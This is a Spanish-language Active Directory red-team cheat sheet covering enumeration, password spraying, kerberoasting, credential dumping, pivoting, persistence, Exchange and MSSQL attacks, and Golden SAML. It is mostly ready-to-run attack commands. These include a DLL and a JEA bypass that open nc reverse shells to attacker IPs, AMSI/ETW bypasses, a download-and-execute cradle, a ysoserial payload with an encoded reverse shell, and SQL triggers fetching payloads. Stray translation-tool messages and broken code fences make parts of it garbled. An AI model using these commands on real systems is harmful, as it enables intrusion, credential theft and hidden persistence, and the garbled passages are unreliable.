### Abuso de PSWA

permite que cualquiera con credenciales se conecte a cualquier máquina y cualquier configuración

**[ ! ] esta acción requiere credenciales.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

> usando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

**Confianzas de dominio para el dominio actual :**

> usando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

### Enumeración del bosque

**Detalles sobre el bosque actual :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

### Enumeración de ACL y ACE

**Enumerar todos los ACEs**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

*Verificar si el usuario ya tiene un SPN :*
> usando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

### LDAP Enumeración```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

*Enumeración con ldapsearch como usuario autenticado*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

*Enumeración con scripts de nmap*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

*enumeración con crackmapexec (autenticado)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

> por defecto, kerbrute usa el modo más seguro (18 = sha1) para obtener algún hash. Usando la opción de downgrade podemos obtener la versión de tipo de cifrado obsoleto (23 = rc4hmac). O usa getNPusers para obtener algún hash en su lugar, ¡es más seguro!

*proporciona una contraseña o una lista de contraseñas para probar contra usuarios*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

### Ataque de pulverización de contraseñas en el dominio```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Configurando Bloodhound:```bash
sudo neo4j console
sudo bloodhound

- `S-1-5-21`: **S se refiere a SID (Identificador de Seguridad)**
- `40646273370-24341400410-2375368561`: **Identificador de Dominio o Computadora Local**
- `1036`: **RID (Identificador Relativo)**

*Estructura del SID de Usuario:*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID de Dominio**
- `1036`: **RID de Usuario**

> usando [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute

el valor "20000" en lookupsid sirve para indicar cuántos RID se probarán


## Escalada de Privilegios

### Suplantación de Token

> La técnica de suplantación de token permite hacerse pasar por un usuario robando su token; este token permite explotar esta técnica debido a los procesos SSO, inicio de sesión interactivo, procesos en ejecución...


> usando [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :

*list tokens*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

*manipulación de tokens de procesos*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

*impersonate token of "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

> usando [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

*descifrar el hash :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

Si se han obtenido credenciales válidas, este módulo se autenticará mediante SMB, creará un servicio temporal, se adjuntará al proceso con un depurador de kernel nativo, capturará el volcado de memoria y lo almacenará en un recurso compartido solicitado.

#### Formatos de archivo
El formato de salida de la captura es un único minidump. El volcador puede controlar la compresión independientemente de la extensión del archivo. Los archivos pueden renombrarse a cualquier extensión, siempre que el formato se especifique correctamente en el comando.

*   `/ko` - Crea un volcado de kernel. Incluye toda la memoria accesible por el kernel y los procesos en modo kernel. Recomendado si el objetivo es capturar información de controladores o del kernel.
*   `/lo` - Crea un volcado de kernel más reducido. Solo incluye la memoria que probablemente fue asignada y utilizada por el proceso.
*   `/fo` - Volcado completo. Toda la memoria disponible para el proceso (pero no para el kernel). Equivalente a un volcado en modo usuario.
*   `/ma` - Crea un minidump. Un formato más pequeño y portátil. Se usa por defecto.

## Pasos de verificación

1. Inicie msfconsole
2. Ejecute: `use auxiliary/gather/windows_dumper_smb`
3. Ejecute: `set SMBUser [username]`
4. Ejecute: `set SMDPass [password]`
5. Ejecute: `set SMBSHARE [share]`
6. Ejecute: `set RHOSTS [IP]`
7. Ejecute: `set VERBOSE true`
8. Ejecute: `run````powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

*Este ataque consiste en inyectar un DLL malicioso arbitrario y reiniciar el servicio dns.exe, ya que el DC sirve como servicio DNS, podemos elevar nuestros privilegios a DA.*

> Archivo DLL :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

`\\10.10.14.33\share\evil.dll` : Recurso compartido SMB.

**reiniciar el servicio DNS**```powershell
sc.exe stop dns
sc.exe start dns

## Volcado de Credenciales

### Volcado de LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy

Please provide the Markdown content to translate.```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe

```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp

puedes hacerlo localmente con mimikatz usando: `sekurlsa::logonpasswords`.


### Volcado de NTDS

**Abusando de DRSUAPI para el volcado de NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

*también puedes hacerlo manualmente.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

> Descifrar DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

*descifrar clave maestra DPAPI con JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

No se ha proporcionado el contenido para traducir.```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM

```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

> volcar HKU del registro de forma remota con el argumento hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

*gMSA volcado:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Cracking de Hash

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> NT :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
nota : some Hash Type in hashcat depend of the **etype**

## Fuerza bruta de contraseñas de AD

### Lista personalizada de nombres de usuario y contraseñas

lista de contraseñas por defecto (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
crear contraseñas usando bash & hashcat :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
lista de nombres de usuario predeterminados (users.list) :```
john doe
paul smith
jacaques miller
```
crear nombres de usuario personalizados usando username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Pivotaje

**Pivotar con WDFW mediante reglas personalizadas**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*permitir conexiones al puerto local*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### Tuberías SMB

**Los puertos locales/remotos pueden ser reenviados** usando **tuberías SMB**. Puedes usar [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) o [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) para eso.
- `Invoke-Piper` : *utilizado para reenviar puertos locales o remotos*
- `Invoke-SocksProxy` : *utilizado para reenvío dinámico de puertos*

**Caso 1** *Reenvío de puerto local a través de tubería forPivot: `-L 33389:127.0.0.1:3389`*

> LADO DEL SERVIDOR :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> LADO DEL CLIENTE :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Caso 2** *Solo administrador reenvío de puerto remoto a través de pipe forPivot: `-R 33389:127.0.0.1:3389`*

> LADO DEL SERVIDOR :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> LADO DEL CLIENTE :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Caso 3** *Reenvío de puertos dinámico con Invoke-SocksProxy con forPivot como NamedPipe: `-D 3333`*

> LADO DEL SERVIDOR :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> LADO DEL CLIENTE :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks se usa principalmente en frameworks C2 y funciona con implantes C2**

*construir un servidor:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### Tunelización RDP a través de DVC

*compartir unidades:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*mapear las unidades:*```powershell
PS > net use x: \\TSCLIENT\X
```
crear un servidor con SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Redirigir el puerto SSF con el servidor DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD como un proxy SOCK*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Persistence

### SIDHistory Injection

### AdminSDHolder and SDProp

> [ ❓ ] : Con privilegios de DA (permisos de Control Total/Escritura) en el objeto AdminSDHolder, se puede utilizar como mecanismo de backdoor/persistencia agregando un usuario con Permisos Completos (u otros permisos interesantes) al objeto AdminSDHolder.
En 60 minutos (cuando SDPROP se ejecute), el usuario será agregado con Control Total a la AC de grupos como Administradores de Dominio sin ser realmente un miembro de él.

> usando [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> usando [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Ejecutar SDProp manualmente*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Abusando de ACLs y ACEs

### GenericAll

**lista todos los grupos a los que pertenece el usuario y tiene derechos de acceso explícitos**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
input is empty```powershell
net group Administrator aker /add /domain
```
## Bypass de seguridad mejorado

### Interfaz de análisis antimalware```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/master/%22%7B1%7D%7B0%7D%22-F%27F%27%2C%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
parcheo de AMSI desde Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

Evitar CLM usando **runspace**:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Just Enough Administration

> show current languages level :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Eludir JEA en ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> bypass EP usando encoding :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL para el volcado de credenciales

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) es una **protección LSA adicional** para evitar la lectura de memoria y la inyección de código por **procesos no protegidos**.

> eludir RunAsPPL con mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### Desactivación de ETW```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/master/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
puedes probar técnicas de ofuscación en este comando. Para obtener más información sobre ETW, consulta mi curso [aquí](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)


## MS Exchange

### Ataque de pulverización de contraseñas en OWA, EWS y EAS

> usando [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> usando [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Extracción de GAL y OAB

**Extracción de GAL (Directorio Global)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> usando powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Offline Address Book) Extracción**

*extraer archivo OAB.XML que contiene registros*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*extraer archivo comprimido LZX*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> usando [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) usa la función PushSubscription, un usuario puede capturar los datos de autenticación NTLM de un servidor Exchange con una simple llamada a la API "PushSubscription"**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon) es el nombre dado a CVE-2021-26855 que permite a un atacante eludir la autenticación y suplantar usuarios en servidores de MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> usando metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

esta CVE permite RCE en EWS a través de claves criptográficas fijas

*Obtener valores para RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### Inyección de Ruta UNC

[ ❓ ] : Convención de nomenclatura uniforme __permite compartir recursos__ en una red mediante una sintaxis muy precisa: `\IP-Server\shareName\Folder\File`

Ejecuta responder : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Poisoning

*El protocolo de resolución de SQL Server es un protocolo simple a nivel de aplicación que se utiliza para la transferencia de solicitudes y respuestas entre clientes y servicios de descubrimiento de servidores de base de datos.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> capturamos el hash del **Administrator** con este script VBA.```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### Desencadenadores DML, DDL y de Inicio de Sesión

[ ❓ ] : **Los desencadenadores** son un procedimiento almacenado que se ejecuta automáticamente cuando ocurre un evento en el SQL Server.

- Lenguaje de Definición de Datos (DDL) – Se ejecuta en instrucciones Create, Alter y Drop y algunos procedimientos almacenados del sistema.
- Lenguaje de Manipulación de Datos (DML) – Se ejecuta en instrucciones Insert, Update y Delete.
- Desencadenadores de inicio de sesión – Se ejecutan al inicio de sesión de un usuario.

**Listado de desencadenadores**

*listar todos los desencadenadores*```sql
SELECT * FROM sys.server_triggers
```
*listar disparadores para una base de datos*```sql
SELECT * FROM sys.server_triggers
```
*listar disparadores DDL y DML en una instancia usando powershell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*usar triggers DML para persistencia*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*usar disparadores DDL para persistencia*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*usa triggers de inicio de sesión para persistencia*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Persistencia del bosque

### DCShadow

**DCShadow registra temporalmente un nuevo controlador de dominio en el dominio de destino** y lo utiliza para "enviar" atributos como SIDHistory, SPNs... a objetos específicos sin dejar registros de cambios para el objeto modificado!

*⚠️ Requisitos :*
- Se requieren privilegios de DA para usar DCShadow.
- La máquina del atacante debe ser parte del dominio raíz.

El ataque necesita 2 instancias en una máquina comprometida :

**1 instancia :** *iniciar servidores RPC con privilegios de SYSTEM y especificar atributos a modificar*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 instance :** *con suficientes privilegios de DA para insertar los valores :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Ataques entre bosques

### Tickets de confianza

*Volcado de clave de confianza*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Forjando IR-TGT usando clave de confianza*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*obtener TGS para servicio CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*usar TGS para el servicio CIFS*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Usando el hash KRBTGT```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### Enumeración de usuarios de AZ

*conexión a Azure Active Directory con **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*este comando permite la enumeración con MFA (Autenticación Multifactorial)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*localizar Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Enumeración usando AZ CLI

**Enumeración de almacenamiento**

*enumeración de almacenamiento de blobs*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*crear un nuevo usuario*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*Ejecuta un comando en una VM especificada*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ Requisitos :*
- Privilegios de administrador del servidor ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> Obtener `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Obtener `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Obtener `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
se puede encontrar un kit de herramientas para explotar Golden SAML [aquí](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML es similar al golden ticket y afecta al protocolo Kerberos. Al igual que el Golden Ticket, el Golden SAML permite a un atacante acceder a recursos protegidos por agentes SAML (ejemplos: Azure, AWS, vSphere, Okta, Salesforce, ...) con privilegios elevados a través de un golden ticket.**

*ShockNAwe:*
- 1. Extrae de forma remota la configuración de AD FS
- 2. Forja y firma un token Golden SAML
- 3. Extrae la parte de ‘assertion’ del token Golden SAML y la pasa a la API de Azure Core Management para obtener un token de acceso válido para la API
- 4. Enumera el ID de suscripción
- 5. Enumera la lista completa de VMs en la suscripción
- 6. Ejecuta comandos arbitrarios en todas las VMs como SYSTEM/root

*WhiskeySAML:*
- 1. Extraer de forma remota la configuración de AD FS
- 2. Forjar y firmar tokens Golden SAML
